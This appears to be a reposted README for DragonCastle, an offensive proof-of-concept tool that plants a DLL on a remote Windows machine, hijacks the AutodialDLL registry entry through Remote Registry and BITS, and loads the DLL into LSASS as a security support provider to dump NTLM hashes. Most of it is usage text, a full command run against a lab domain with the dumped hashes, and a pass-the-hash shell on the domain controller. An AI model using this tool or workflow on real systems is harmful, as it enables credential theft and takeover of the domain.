DragonCastle
A PoC that combines AutodialDLL lateral movement technique and SSP to scrape NTLM hashes from LSASS process.
Description
Upload a DLL to the target machine. Then it enables remote registry to modify AutodialDLL entry and start/restart BITS service. Svchosts would load our DLL, set again AutodiaDLL to default value and perform a RPC request to force LSASS to load the same DLL as a Security Support Provider. Once the DLL is loaded by LSASS, it would search inside the process memory to extract NTLM hashes and the key/IV.
The DLLMain always returns False so the processes doesn't keep it.
Caveats
It only works when RunAsPPL is not enabled. Also I only added support to decrypt 3DES because I am lazy, but should be easy peasy to add code for AES. By the same reason, I only implemented support for next Windows versions:
| Build | Support |
|---|---|
| Windows 10 version 21H2 | |
| Windows 10 version 21H1 | Implemented |
| Windows 10 version 20H2 | Implemented |
| Windows 10 version 20H1 (2004) | Implemented |
| Windows 10 version 1909 | Implemented |
| Windows 10 version 1903 | Implemented |
| Windows 10 version 1809 | Implemented |
| Windows 10 version 1803 | Implemented |
| Windows 10 version 1709 | Implemented |
| Windows 10 version 1703 | Implemented |
| Windows 10 version 1607 | Implemented |
| Windows 10 version 1511 | |
| Windows 10 version 1507 | |
| Windows 8 | |
| Windows 7 |
The signatures/offsets/structs were taken from Mimikatz. If you want to add a new version just check sekurlsa functionality on Mimikatz.
Usage
psyconauta@insulanova:~/Research/dragoncastle|⇒ python3 dragoncastle.py -h
DragonCastle - @TheXC3LL
usage: dragoncastle.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes [LMHASH]:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-target-ip ip address] [-local-dll dll to plant] [-remote-dll dll location]
DragonCastle - A credential dumper (@TheXC3LL)
optional arguments:
-h, --help show this help message and exit
-u USERNAME, --username USERNAME
valid username
-p PASSWORD, --password PASSWORD
valid password (if omitted, it will be asked unless -no-pass)
-d DOMAIN, --domain DOMAIN
valid domain name
-hashes [LMHASH]:NTHASH
NT/LM hashes (LM hash can be empty)
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it
-local-dll dll to plant
DLL location (local) that will be planted on target
-remote-dll dll location
Path used to update AutodialDLL registry valueExample
Windows server on 192.168.56.20 and Domain Controller on 192.168.56.10:
psyconauta@insulanova:~/Research/dragoncastle|⇒ python3 dragoncastle.py -u vagrant -p 'vagrant' -d WINTERFELL -target-ip 192.168.56.20 -remote-dll "c:\dump.dll" -local-dll DragonCastle.dll
DragonCastle - @TheXC3LL
[+] Connecting to 192.168.56.20
[+] Uploading DragonCastle.dll to c:\dump.dll
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to 192.168.56.20
[+] Updating AutodialDLL value
[+] Stopping Remote Registry Service
[+] Checking BITS service status...
[+] Service is down!
[+] Starting BITS service
[+] Downloading creds
[+] Deleting credential file
[+] Parsing creds:
============
----
User: vagrant
Domain: WINTERFELL
----
User: vagrant
Domain: WINTERFELL
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: vagrant
Domain: WINTERFELL
NTLM: e02bc503339d51f71d913c245d35b50b
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: WINTERFELL$
Domain: SEVENKINGDOMS
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: UMFD-0
Domain: Font Driver Host
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User:
Domain:
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User:
Domain:
============
[+] Deleting DLL
[^] Have a nice day!psyconauta@insulanova:~/Research/dragoncastle|⇒ wmiexec.py -hashes :d977b98c6c9282c5c478be1d97b237b8 SEVENKINGDOMS/eddard.stark@192.168.56.10
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
sevenkingdoms\eddard.stark
C:\>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeMachineAccountPrivilege Add workstations to domain Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Enabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
C:\>
Author
Juan Manuel Fernández (@TheXC3LL)
References
- https://decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies/
- https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/
- https://adepts.of0x.cc/physical-graffiti-lsass/
- https://blog.xpnsec.com/exploring-mimikatz-part-2/
Danial Zahoor
Professional Ethical Hacker and Cybersecurity Researcher with a proven track record in dismantling online threats. Successfully neutralized 4 scammer networks, thwarted 13 phishing schemes, and disrupted 4 kidnapper networks. Committed to ensuring online safety and security, I leverage my expertise to protect individuals and organizations from digital threats. Passionate about cybersecurity education and empowering others to stay safe online.
